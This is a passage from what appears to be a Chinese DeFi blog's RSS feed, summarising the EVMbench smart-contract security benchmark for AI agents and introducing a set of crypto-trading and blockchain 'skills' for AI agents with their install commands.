&#x751F;&#x6001;&#x7CFB;&#x7EDF;&#x3001;DAO&#x3001;&#x7A33;&#x5B9A;&#x5E01;&#x548C;&#x65E0;&#x6570;&#x5176;&#x4ED6;&#x533A;&#x5757;&#x94FE;&#x5E94;&#x7528;&#x3002;&#x8FD9;&#x4E9B;&#x5408;&#x7EA6;&#x8FD0;&#x884C;&#x5728;**&#x4EE5;&#x592A;&#x574A;&#x865A;&#x62DF;&#x673A;&#xFF08;EVM&#xFF09;**&#x4E0A;&#xFF0C;&#x4E00;&#x65E6;&#x90E8;&#x7F72;&#x5C31;&#x4F1A;&#x81EA;&#x52A8;&#x6267;&#x884C;&#x2014;&#x2014;&#x901A;&#x5E38;&#x65E0;&#x6CD5;&#x4FEE;&#x6539;&#x3002;</p><p>&#x8FD9;&#x79CD;&#x4E0D;&#x53EF;&#x53D8;&#x6027;&#x65E2;&#x662F;&#x4F18;&#x52BF;&#xFF0C;&#x4E5F;&#x662F;&#x98CE;&#x9669;&#x3002;</p><p>&#x5386;&#x53F2;&#x4E0A;&#xFF0C;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x6F0F;&#x6D1E;&#x5DF2;&#x5BFC;&#x81F4;&#x6570;&#x767E;&#x4E07;&#xFF08;&#x6709;&#x65F6;&#x662F;&#x6570;&#x5341;&#x4EBF;&#xFF09;&#x7F8E;&#x5143;&#x7684;&#x635F;&#x5931;&#x3002;&#x968F;&#x7740; AI &#x7CFB;&#x7EDF;&#x53D8;&#x5F97;&#x66F4;&#x52A0;&#x81EA;&#x4E3B;&#xFF0C;&#x80FD;&#x591F;&#x626B;&#x63CF;&#x4EE3;&#x7801;&#x5E93;&#x3001;&#x6267;&#x884C;&#x4EA4;&#x6613;&#x5E76;&#x63A8;&#x7406;&#x7ECF;&#x6D4E;&#x6FC0;&#x52B1;&#xFF0C;&#x8BC4;&#x4F30;&#x5B83;&#x4EEC;&#x7684;&#x73B0;&#x5B9E;&#x5B89;&#x5168;&#x5F71;&#x54CD;&#x53D8;&#x5F97;&#x7D27;&#x8FEB;&#x3002;</p><p>EVMbench &#x7684;&#x521B;&#x5EFA;&#x662F;&#x4E3A;&#x4E86;&#x56DE;&#x7B54;&#x4E00;&#x4E2A;&#x5173;&#x952E;&#x95EE;&#x9898;&#xFF1A;</p><blockquote><em>AI &#x4EE3;&#x7406;&#x5728;&#x73B0;&#x5B9E;&#x533A;&#x5757;&#x94FE;&#x73AF;&#x5883;&#x4E2D;&#x68C0;&#x6D4B;&#x3001;&#x4FEE;&#x8865;&#x548C;&#x5229;&#x7528;&#x771F;&#x5B9E;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x6F0F;&#x6D1E;&#x7684;&#x80FD;&#x529B;&#x5982;&#x4F55;&#xFF1F;</em></blockquote><figure class="kg-card kg-image-card"><img src="https://www.hubwiz.com/blog/content/images/2026/02/1-gEKKFsYf6TPOmOAA_j1hoA.png" class="kg-image" alt="EVMbench&#x5408;&#x7EA6;&#x5B89;&#x5168;&#x8BC4;&#x4F30;&#x6846;&#x67B6;" loading="lazy"></figure><p>&#x6765;&#x6E90;&#xFF1A;<a href="https://cdn.openai.com/evmbench/evmbench.pdf?ref=defiplot.com">EVMBench</a></p><h2 id="1%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AF-evmbench%EF%BC%9F">1&#x3001;&#x4EC0;&#x4E48;&#x662F; EVMbench&#xFF1F;</h2><p>EVMbench &#x662F;&#x4E00;&#x4E2A;&#x7EFC;&#x5408;&#x8BC4;&#x4F30;&#x6846;&#x67B6;&#xFF0C;&#x65E8;&#x5728;&#x8861;&#x91CF;&#x5728; EVM &#x517C;&#x5BB9;&#x73AF;&#x5883;&#x4E2D;&#x8FD0;&#x884C;&#x7684; AI &#x4EE3;&#x7406;&#x7684;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x5B89;&#x5168;&#x80FD;&#x529B;&#x3002;</p><p>&#x4E0E;&#x6D4B;&#x8BD5;&#x5B64;&#x7ACB;&#x7684;&#x7F16;&#x7801;&#x95EE;&#x9898;&#x4E0D;&#x540C;&#xFF0C;EVMbench &#x6A21;&#x62DF;&#x771F;&#x5B9E;&#x7684;&#x5BA1;&#x8BA1;&#x573A;&#x666F;&#x3002;&#x5B83;&#x5305;&#x62EC;&#x4ECE;&#x7ADE;&#x4E89;&#x6027;&#x5BA1;&#x8BA1;&#x4E2D;&#x7CBE;&#x9009;&#x7684;&#x9AD8;&#x4E25;&#x91CD;&#x6027;&#x6F0F;&#x6D1E;&#xFF0C;&#x5E76;&#x5728;&#x4E09;&#x79CD;&#x4E0D;&#x540C;&#x6A21;&#x5F0F;&#x4E0B;&#x8BC4;&#x4F30; AI &#x7CFB;&#x7EDF;&#xFF1A;</p><p><strong>1. &#x68C0;&#x6D4B;&#x6A21;&#x5F0F;</strong></p><p>AI &#x80FD;&#x5426;&#x5BA1;&#x8BA1;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x4EE3;&#x7801;&#x5E93;&#x5E76;&#x6B63;&#x786E;&#x8BC6;&#x522B;&#x8D44;&#x91D1;&#x4E22;&#x5931;&#x6F0F;&#x6D1E;&#xFF1F;</p><p><strong>2. &#x4FEE;&#x8865;&#x6A21;&#x5F0F;</strong></p><p>AI &#x80FD;&#x5426;&#x4FEE;&#x6539;&#x4EE3;&#x7801;&#x4EE5;&#x4FEE;&#x590D;&#x6F0F;&#x6D1E;&#xFF0C;&#x540C;&#x65F6;&#x4FDD;&#x6301;&#x529F;&#x80FD;&#xFF1F;</p><p><strong>3. &#x5229;&#x7528;&#x6A21;&#x5F0F;</strong></p><p>AI &#x80FD;&#x5426;&#x5728;&#x5B9E;&#x65F6;&#x672C;&#x5730;&#x533A;&#x5757;&#x94FE;&#x5B9E;&#x4F8B;&#x4E0A;&#x6210;&#x529F;&#x6267;&#x884C;&#x7AEF;&#x5230;&#x7AEF;&#x7684;&#x5229;&#x7528;&#xFF1F;</p><p>&#x8FD9;&#x79CD;&#x4E09;&#x5C42;&#x7ED3;&#x6784;&#x4F7F; EVMbench &#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x4E00;&#x4E2A;&#x9759;&#x6001;&#x57FA;&#x51C6;&#x2014;&#x2014;&#x5B83;&#x662F; AI &#x5B89;&#x5168;&#x80FD;&#x529B;&#x7684;&#x52A8;&#x6001;&#x3001;&#x5BF9;&#x6297;&#x6027;&#x6D4B;&#x8BD5;&#x573A;&#x3002;</p><h2 id="2%E3%80%81%E4%B8%BA%E4%BB%80%E4%B9%88-evmbench-%E5%BE%88%E9%87%8D%E8%A6%81">2&#x3001;&#x4E3A;&#x4EC0;&#x4E48; EVMbench &#x5F88;&#x91CD;&#x8981;</h2><p><strong>1. &#x73B0;&#x5B9E;&#x73AF;&#x5883;</strong></p><p>&#x4E0E;&#x7406;&#x8BBA;&#x5B89;&#x5168;&#x57FA;&#x51C6;&#x4E0D;&#x540C;&#xFF0C;EVMbench &#x8BA9;&#x4EE3;&#x7406;&#x5BF9;&#x6297;&#x5B9E;&#x65F6;&#x672C;&#x5730;&#x4EE5;&#x592A;&#x574A;&#x5B9E;&#x4F8B;&#x3002;&#x5229;&#x7528;&#x5FC5;&#x987B;&#x5B9E;&#x9645;&#x6539;&#x53D8;&#x94FE;&#x4E0A;&#x72B6;&#x6001;&#x624D;&#x7B97;&#x6210;&#x529F;&#x3002;</p><p><strong>2. &#x786E;&#x5B9A;&#x6027;&#x8BC4;&#x4F30;</strong></p><p>&#x56E0;&#x4E3A;&#x533A;&#x5757;&#x94FE;&#x72B6;&#x6001;&#x662F;&#x786E;&#x5B9A;&#x6027;&#x7684;&#xFF0C;&#x8BC4;&#x5206;&#x662F;&#x7A0B;&#x5E8F;&#x5316;&#x7684;&#x548C;&#x53EF;&#x9A8C;&#x8BC1;&#x7684;&#x3002;&#x6210;&#x529F;&#x901A;&#x8FC7;&#x4F59;&#x989D;&#x53D8;&#x5316;&#x3001;&#x4E8B;&#x4EF6;&#x65E5;&#x5FD7;&#x548C;&#x72B6;&#x6001;&#x8F6C;&#x6362;&#x6765;&#x8861;&#x91CF;&#x3002;</p><p><strong>3. &#x5168;&#x751F;&#x547D;&#x5468;&#x671F;&#x8986;&#x76D6;</strong></p><p>&#x5927;&#x591A;&#x6570;&#x57FA;&#x51C6;&#x4EC5;&#x6D4B;&#x8BD5;&#x68C0;&#x6D4B;&#x3002;EVMbench &#x8BC4;&#x4F30;&#xFF1A;</p><ul><li>&#x53D1;&#x73B0;</li><li>&#x4FEE;&#x590D;</li><li>&#x5229;&#x7528;</li></ul><p>&#x8FD9;&#x79CD;&#x6574;&#x4F53;&#x65B9;&#x6CD5;&#x53CD;&#x6620;&#x4E86;&#x73B0;&#x5B9E;&#x4E16;&#x754C;&#x7684;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x5BA1;&#x8BA1;&#x3002;</p><p><strong>4. &#x7ECF;&#x6D4E;&#x76F8;&#x5173;&#x6027;</strong></p><p>&#x5168;&#x7403;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x4EF7;&#x503C;&#x8D85;&#x8FC7; 1000 &#x4EBF;&#x7F8E;&#x5143;&#xFF0C;AI &#x5B89;&#x5168;&#x5730;&#x4E0E;&#x533A;&#x5757;&#x94FE;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x4EA4;&#x4E92;&#x7684;&#x80FD;&#x529B;&#x5177;&#x6709;&#x76F4;&#x63A5;&#x7684;&#x7ECF;&#x6D4E;&#x5F71;&#x54CD;&#x3002;</p><h2 id="3%E3%80%81evmbench-%E7%9A%84%E6%A0%B8%E5%BF%83%E4%BC%98%E5%8A%BF">3&#x3001;EVMbench &#x7684;&#x6838;&#x5FC3;&#x4F18;&#x52BF;</h2><p>&#x4EE5;&#x4E0B;&#x662F;&#x5F00;&#x53D1;&#x8005;&#x3001;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x548C;&#x5B89;&#x5168;&#x4E13;&#x4E1A;&#x4EBA;&#x5458;&#x5173;&#x6CE8;&#x5B83;&#x7684;&#x539F;&#x56E0;&#xFF1A;</p><p><strong>&#x2714; &#x8861;&#x91CF;&#x771F;&#x6B63;&#x7684; AI &#x5B89;&#x5168;&#x80FD;&#x529B;</strong></p><p>&#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x6A21;&#x5F0F;&#x5339;&#x914D;&#x2014;&#x2014;&#x8DE8;&#x4EE3;&#x7801;&#x5E93;&#x7684;&#x771F;&#x5B9E;&#x63A8;&#x7406;&#x3002;</p><p><strong>&#x2714; &#x7A0B;&#x5E8F;&#x5316;&#x8BC4;&#x5206;</strong></p><p>&#x6D88;&#x9664;&#x8BC4;&#x4F30;&#x4E2D;&#x7684;&#x4E3B;&#x89C2;&#x4EBA;&#x7C7B;&#x504F;&#x89C1;&#x3002;</p><p><strong>&#x2714; &#x5B9E;&#x65F6;&#x5229;&#x7528;&#x9A8C;&#x8BC1;</strong></p><p>&#x5982;&#x679C;&#x8D44;&#x91D1;&#x6CA1;&#x6709;&#x79FB;&#x52A8;&#xFF0C;&#x5229;&#x7528;&#x5C31;&#x6CA1;&#x6709;&#x53D1;&#x751F;&#x3002;</p><p><strong>&#x2714; &#x652F;&#x6301;&#x8D1F;&#x8D23;&#x4EFB;&#x7684; AI &#x90E8;&#x7F72;</strong></p><p>&#x5E2E;&#x52A9;&#x8DDF;&#x8E2A;&#x5148;&#x8FDB;&#x7684; AI &#x7CFB;&#x7EDF;&#x5728;&#x9AD8;&#x98CE;&#x9669;&#x91D1;&#x878D;&#x73AF;&#x5883;&#x4E2D;&#x7684;&#x8868;&#x73B0;&#x3002;</p><p><strong>&#x2714; &#x5F00;&#x653E;&#x7814;&#x7A76;&#x6846;&#x67B6;</strong></p><p>&#x9F13;&#x52B1;&#x5BF9; AI &#x9A71;&#x52A8;&#x7684;&#x5B89;&#x5168;&#x81EA;&#x52A8;&#x5316;&#x8FDB;&#x884C;&#x8FDB;&#x4E00;&#x6B65;&#x7814;&#x7A76;&#x3002;</p><h2 id="4%E3%80%81%E7%BB%93%E6%9D%9F%E8%AF%AD">4&#x3001;&#x7ED3;&#x675F;&#x8BED;</h2><p>EVMbench &#x4EE3;&#x8868;&#x4E86;&#x6211;&#x4EEC;&#x5728;&#x9AD8;&#x98CE;&#x9669;&#x91D1;&#x878D;&#x73AF;&#x5883;&#x4E2D;&#x8BC4;&#x4F30; AI &#x7684;&#x5173;&#x952E;&#x8F6C;&#x53D8;&#x3002;</p><p>&#x901A;&#x8FC7;&#x7ED3;&#x5408;&#xFF1A;</p><ul><li>&#x771F;&#x5B9E;&#x6F0F;&#x6D1E;</li><li>&#x786E;&#x5B9A;&#x6027;&#x533A;&#x5757;&#x94FE;&#x8BC4;&#x5206;</li><li>&#x7AEF;&#x5230;&#x7AEF;&#x5229;&#x7528;&#x9A8C;&#x8BC1;</li><li>&#x4FEE;&#x8865;&#x9A8C;&#x8BC1;</li></ul><p>&#x2026;&#x2026;&#x5B83;&#x4E3A; AI &#x5B89;&#x5168;&#x8BC4;&#x4F30;&#x8BBE;&#x5B9A;&#x4E86;&#x65B0;&#x7684;&#x6807;&#x51C6;&#x3002;</p><p>&#x968F;&#x7740;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x7EE7;&#x7EED;&#x5728;&#x5168;&#x7403;&#x4FDD;&#x62A4;&#x6570;&#x5341;&#x4EBF;&#x7F8E;&#x5143;&#xFF0C;&#x95EE;&#x9898;&#x4E0D;&#x518D;&#x662F; AI &#x662F;&#x5426;&#x4F1A;&#x4E0E;&#x533A;&#x5757;&#x94FE;&#x7CFB;&#x7EDF;&#x4EA4;&#x4E92;&#x2014;&#x2014;&#x800C;&#x662F;&#x5B83;&#x5C06;&#x5982;&#x4F55;&#x5B89;&#x5168;&#x6709;&#x6548;&#x5730;&#x8FD9;&#x6837;&#x505A;&#x3002;</p><p>EVMbench &#x4E3A;&#x6211;&#x4EEC;&#x63D0;&#x4F9B;&#x4E86;&#x56DE;&#x7B54;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x7684;&#x6570;&#x636E;&#x3002;</p><p>&#x5728;&#x4E00;&#x4E2A;&#x5355;&#x884C;&#x4EE3;&#x7801;&#x5C31;&#x80FD;&#x79FB;&#x52A8;&#x6570;&#x767E;&#x4E07;&#x7684;&#x4E16;&#x754C;&#x91CC;&#xFF0C;&#x8FD9;&#x79CD;&#x8861;&#x91CF;&#x5F88;&#x91CD;&#x8981;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;: <a href="https://medium.com/ai-artistry/evmbench-the-new-standard-for-evaluating-ai-in-smart-contract-security-93e997a39e84?ref=defiplot.com">EVMbench: The New Standard for Evaluating AI in Smart Contract Security</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[crypto-skills：AI代理加密技能集]]></title><description><![CDATA[Crypto-skills提供了一系列专注于加密货币和区块链操作的专业AI代理技能。这些技能增强了AI代理与各种区块链网络交互、查询市场数据以及执行加密相关任务的能力。]]></description><link>https://defiplot.com/blog/crypto-skills-for-ai-agents/</link><guid isPermaLink="false">6974600ca8f7ce2267bf283e</guid><category><![CDATA[tools]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Sat, 24 Jan 2026 06:08:25 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/01/crypto-skills.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/01/crypto-skills.png" alt="crypto-skills&#xFF1A;AI&#x4EE3;&#x7406;&#x52A0;&#x5BC6;&#x6280;&#x80FD;&#x96C6;"><p><a href="https://github.com/kukapay/crypto-skills?ref=defiplot.com" rel="noopener">Crypto Skills</a>&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x4E13;&#x6CE8;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x548C;&#x533A;&#x5757;&#x94FE;&#x64CD;&#x4F5C;&#x7684;&#x4E13;&#x4E1A;AI&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x3002;&#x8FD9;&#x4E9B;&#x6280;&#x80FD;&#x589E;&#x5F3A;&#x4E86;AI&#x4EE3;&#x7406;&#x4E0E;&#x5404;&#x79CD;&#x533A;&#x5757;&#x94FE;&#x7F51;&#x7EDC;&#x4EA4;&#x4E92;&#x3001;&#x67E5;&#x8BE2;&#x5E02;&#x573A;&#x6570;&#x636E;&#x4EE5;&#x53CA;&#x6267;&#x884C;&#x52A0;&#x5BC6;&#x76F8;&#x5173;&#x4EFB;&#x52A1;&#x7684;&#x80FD;&#x529B;&#x3002;</p><h3 id="1%E3%80%81%E5%AE%89%E8%A3%85">1&#x3001;&#x5B89;&#x88C5;</h3><p>&#x4F7F;&#x7528;Skills CLI&#x5B89;&#x88C5;&#x8FD9;&#x4E9B;&#x6280;&#x80FD;&#xFF1A;</p><pre><code>npx skills add kukapay/crypto-skills</code></pre><p>&#x6216;&#x8005;&#xFF0C;&#x60A8;&#x53EF;&#x4EE5;&#x5B89;&#x88C5;&#x5355;&#x4E2A;&#x6280;&#x80FD;&#xFF1A;</p><pre><code>npx skills add kukapay/crypto-skills - skill &quot;evm-swiss-knife&quot;</code></pre><p>&#x6B64;&#x547D;&#x4EE4;&#x5C06;&#x4E0B;&#x8F7D;&#x5E76;&#x914D;&#x7F6E;AI&#x4EE3;&#x7406;&#x6240;&#x9700;&#x7684;&#x52A0;&#x5BC6;&#x6280;&#x80FD;&#x3002;</p><p>&#x6709;&#x5173;Skills CLI&#x7684;&#x66F4;&#x591A;&#x4FE1;&#x606F;&#xFF0C;&#x8BF7;&#x8BBF;&#x95EE; https://skills.sh/docs/cli&#x3002;</p><h3 id="2%E3%80%81%E5%BD%93%E5%89%8D%E5%8C%85%E5%90%AB%E7%9A%84%E6%8A%80%E8%83%BD">2&#x3001;&#x5F53;&#x524D;&#x5305;&#x542B;&#x7684;&#x6280;&#x80FD;</h3><h4 id="21-evm-swiss-knife">2.1 EVM Swiss Knife</h4><p><a href="https://github.com/kukapay/crypto-skills/tree/main/skills/evm-swiss-knife?ref=defiplot.com">evm-swiff-knife</a> &#x662F;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x4F7F;&#x7528;Foundry&#x7684;cast&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x4E0E;&#x4EE5;&#x592A;&#x574A;&#x865A;&#x62DF;&#x673A;&#xFF08;EVM&#xFF09;&#x517C;&#x5BB9;&#x533A;&#x5757;&#x94FE;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x7684;&#x7EFC;&#x5408;&#x6280;&#x80FD;&#x3002;&#x652F;&#x6301;&#xFF1A;</p><ul><li>&#x8D26;&#x6237;&#x4F59;&#x989D;&#x67E5;&#x8BE2;</li><li>&#x5408;&#x7EA6;&#x51FD;&#x6570;&#x8C03;&#x7528;&#xFF08;&#x8BFB;/&#x5199;&#xFF09;</li><li>&#x4EA4;&#x6613;&#x53D1;&#x9001;</li><li>&#x533A;&#x5757;&#x94FE;&#x68C0;&#x67E5;</li><li>&#x5408;&#x7EA6;&#x90E8;&#x7F72;</li><li>&#x6570;&#x636E;&#x89E3;&#x7801;</li></ul><p>&#x8FD9;&#x9879;&#x6280;&#x80FD;&#x4F7F; AI &#x4EE3;&#x7406;&#x80FD;&#x591F;&#x5728;&#x591A;&#x4E2A; EVM &#x7F51;&#x7EDC;&#xFF08;&#x4F8B;&#x5982;&#x4EE5;&#x592A;&#x574A;&#x3001;Polygon&#x3001;BNB &#x667A;&#x80FD;&#x94FE;&#x7B49;&#xFF09;&#x4E0A;&#x6267;&#x884C;&#x5E95;&#x5C42;&#x533A;&#x5757;&#x94FE;&#x64CD;&#x4F5C;&#x3002;</p><h4 id="22-market-sentiment">2.2 Market Sentiment</h4><p><a href="https://github.com/kukapay/crypto-skills/tree/main/skills/market-sentiment?ref=defiplot.com">market-sentiment</a> &#x6280;&#x80FD;&#x901A;&#x8FC7;&#x805A;&#x5408;&#x6765;&#x81EA;&#x70ED;&#x95E8; RSS &#x6E90;&#x7684;&#x65B0;&#x95FB;&#x5E76;&#x8FDB;&#x884C;&#x60C5;&#x7EEA;&#x5206;&#x6790;&#xFF0C;&#x6765;&#x5206;&#x6790;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#x3002;&#x652F;&#x6301;&#xFF1A;</p><ul><li>&#x805A;&#x5408;&#x6765;&#x81EA;&#x591A;&#x4E2A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x65B0;&#x95FB;&#x6E90;&#x7684; RSS &#x6E90;</li><li>&#x81EA;&#x52A8;&#x60C5;&#x7EEA;&#x5206;&#x7C7B;&#xFF08;&#x6B63;&#x9762;/&#x8D1F;&#x9762;/&#x4E2D;&#x6027;&#xFF09;</li><li>&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#x8BC4;&#x5206;&#xFF08;&#x8303;&#x56F4;&#xFF1A;-1 &#x5230; +1&#xFF09;</li><li>&#x57FA;&#x4E8E;&#x8BC1;&#x636E;&#x7684;&#x89E3;&#x91CA;&#x548C;&#x6587;&#x7AE0;&#x5206;&#x6790;</li></ul><p>&#x8FD9;&#x9879;&#x6280;&#x80FD;&#x5E2E;&#x52A9; AI &#x4EE3;&#x7406;&#x8BC4;&#x4F30;&#x6574;&#x4F53;&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#xFF0C;&#x4EE5;&#x8F85;&#x52A9;&#x4EA4;&#x6613;&#x51B3;&#x7B56;&#x3001;&#x7814;&#x7A76;&#x548C;&#x8D8B;&#x52BF;&#x76D1;&#x63A7;&#x3002;</p><h4 id="23-meme-scout">2.3 Meme Scout</h4><p><a href="https://github.com/kukapay/crypto-skills/tree/main/skills/meme-scout?ref=defiplot.com">meme-scout</a> &#x6280;&#x80FD;&#x7528;&#x4E8E;&#x5728; DexScreener &#x7B49; DEX &#x5E73;&#x53F0;&#x4E0A;&#x53D1;&#x73B0;&#x70ED;&#x95E8;&#x7684; Meme &#x5E01;&#x3002;&#x652F;&#x6301;&#xFF1A;</p><ul><li>&#x53D1;&#x73B0;&#x591A;&#x65F6;&#x95F4;&#x5468;&#x671F;&#xFF08;5&#x5206;&#x949F;&#x3001;1&#x5C0F;&#x65F6;&#x3001;6&#x5C0F;&#x65F6;&#x3001;24&#x5C0F;&#x65F6;&#xFF09;&#x7684;&#x70ED;&#x95E8;&#x4EE3;&#x5E01;</li><li>&#x5206;&#x6790;&#x4EF7;&#x683C;&#x8D70;&#x52BF;&#x3001;&#x4EA4;&#x6613;&#x91CF;&#x6570;&#x636E;&#x548C;&#x98CE;&#x9669;&#x8BC4;&#x4F30;</li><li>&#x9488;&#x5BF9;Solana&#x548C;&#x5176;&#x4ED6;&#x94FE;&#x4E0A;&#x7684;&#x7279;&#x5B9A;&#x4EE3;&#x5E01;&#x8FDB;&#x884C;&#x98CE;&#x9669;&#x68C0;&#x67E5;</li></ul><p>&#x6B64;&#x6280;&#x80FD;&#x4F7F;AI&#x4EE3;&#x7406;&#x80FD;&#x591F;&#x8BC6;&#x522B;&#x548C;&#x8BC4;&#x4F30;&#x70ED;&#x95E8;&#x7684;&#x6A21;&#x56E0;&#x5E01;&#xFF0C;&#x7528;&#x4E8E;&#x4EA4;&#x6613;&#x548C;&#x7814;&#x7A76;&#x3002;</p><h4 id="24-token-minter">2.4 Token Minter</h4><p><a href="https://github.com/kukapay/crypto-skills/tree/main/skills/token-minter?ref=defiplot.com">token-minter</a> &#x662F;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x5728;EVM&#x7F51;&#x7EDC;&#x4E0A;&#x751F;&#x6210;&#x3001;&#x6784;&#x5EFA;&#x548C;&#x90E8;&#x7F72;&#x81EA;&#x5B9A;&#x4E49;ERC20&#x4EE3;&#x5E01;&#x7684;&#x7EFC;&#x5408;&#x6280;&#x80FD;&#x3002;&#x652F;&#x6301;&#xFF1A;</p><ul><li>&#x81EA;&#x5B9A;&#x4E49;&#x4EE3;&#x5E01;&#x53C2;&#x6570;&#xFF08;&#x540D;&#x79F0;&#x3001;&#x7B26;&#x53F7;&#x3001;&#x5C0F;&#x6570;&#x4F4D;&#x6570;&#x3001;&#x521D;&#x59CB;&#x4F9B;&#x5E94;&#x91CF;&#xFF09;</li><li>&#x4F7F;&#x7528;OpenZeppelin&#x6807;&#x51C6;&#x81EA;&#x52A8;&#x751F;&#x6210;Solidity&#x5408;&#x7EA6;</li><li>Foundry&#x9879;&#x76EE;&#x8BBE;&#x7F6E;&#x548C;&#x4F9D;&#x8D56;&#x9879;&#x7BA1;&#x7406;</li><li>&#x5408;&#x7EA6;&#x7F16;&#x8BD1;&#x548C;&#x90E8;&#x7F72;&#x5230;&#x5404;&#x79CD;&#x7F51;&#x7EDC;</li><li>&#x652F;&#x6301;Sepolia&#x7B49;&#x6D4B;&#x8BD5;&#x7F51;</li></ul><p>&#x6B64;&#x6280;&#x80FD;&#x4F7F;AI&#x4EE3;&#x7406;&#x80FD;&#x591F;&#x521B;&#x5EFA;&#x548C;&#x90E8;&#x7F72;&#x81EA;&#x5B9A;&#x4E49;ERC20&#x4EE3;&#x5E01;&#xFF0C;&#x5E76;&#x5B8C;&#x5168;&#x63A7;&#x5236;&#x4EE3;&#x5E01;&#x53C2;&#x6570;&#x548C;&#x90E8;&#x7F72;&#x76EE;&#x6807;&#x3002;</p><h4 id="25-trading-strategist">2.5 Trading Strategist</h4><p>&#x901A;&#x8FC7;&#x7ED3;&#x5408;&#x5E01;&#x5B89;&#x5E02;&#x573A;&#x6570;&#x636E;&#x3001;&#x6280;&#x672F;&#x5206;&#x6790;&#x6307;&#x6807;&#x548C;&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#x5206;&#x6790;&#xFF0C;&#x751F;&#x6210;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x3002;&#x652F;&#x6301;&#xFF1A;</p><ul><li>&#x6765;&#x81EA;&#x5E01;&#x5B89; API &#x7684;&#x5B9E;&#x65F6;&#x4EF7;&#x683C;&#x548C;&#x5386;&#x53F2;&#x6570;&#x636E;</li><li>&#x6280;&#x672F;&#x6307;&#x6807;&#xFF08;SMA&#x3001;EMA&#x3001;RSI&#x3001;&#x5E03;&#x6797;&#x5E26;&#x3001;MACD&#x3001;&#x968F;&#x673A;&#x6307;&#x6807;&#xFF09;</li><li>&#x96C6;&#x6210;&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#x8BC4;&#x5206;</li><li>&#x63D0;&#x4F9B;&#x5305;&#x542B;&#x5165;&#x573A;/&#x51FA;&#x573A;&#x70B9;&#x548C;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x7684;&#x7B56;&#x7565;&#x5EFA;&#x8BAE;</li><li>&#x652F;&#x6301;&#x4E3B;&#x6D41;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#xFF0C;&#x4F8B;&#x5982; BTC&#x3001;ETH&#x3001;BNB</li></ul><p>&#x8BE5;&#x6280;&#x80FD;&#x4F7F; AI &#x4EE3;&#x7406;&#x80FD;&#x591F;&#x63D0;&#x4F9B;&#x6570;&#x636E;&#x9A71;&#x52A8;&#x7684;&#x4EA4;&#x6613;&#x5EFA;&#x8BAE;&#x548C;&#x7B56;&#x7565;&#x5206;&#x6790;&#x3002;</p><hr><p><a href="https://github.com/kukapay/crypto-skills?ref=defiplot.com" rel="nofollow noopener">https://github.com/kukapay/crypto-skills</a></p>]]></content:encoded></item><item><title><![CDATA[AI代理技能：加密货币交易]]></title><description><![CDATA[本文介绍了代理技能的概念——模块化、可共享的指令和代码包，旨在赋予AI代理专业能力[5] ——并探讨这些技能如何增强自动化加密货币交易策略。]]></description><link>https://defiplot.com/blog/agent-skills-for-crypto-trading/</link><guid isPermaLink="false">6964a027a8f7ce2267bf27f2</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Mon, 12 Jan 2026 07:37:25 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/01/agent-skills.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/01/agent-skills.png" alt="AI&#x4EE3;&#x7406;&#x6280;&#x80FD;&#xFF1A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;"><p>&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x9AD8;&#x5EA6;&#x6CE2;&#x52A8;&#x4E14;&#x590D;&#x6742;&#xFF0C;&#x4F7F;&#x5F97;&#x5F00;&#x53D1;&#x4E00;&#x81F4;&#x7684;&#x9AD8;&#x6536;&#x76CA;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x5177;&#x6709;&#x6311;&#x6218;&#x6027;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=Cryptocurrency%20assets%20are%20traded%20in,29">[1]</a><a href="https://www.sciencedirect.com/science/article/pii/S1544612320300829?ref=defiplot.com#:~:text=when%20applied%20to%20Dash%20generating,hold%20strategy">[2]</a>. 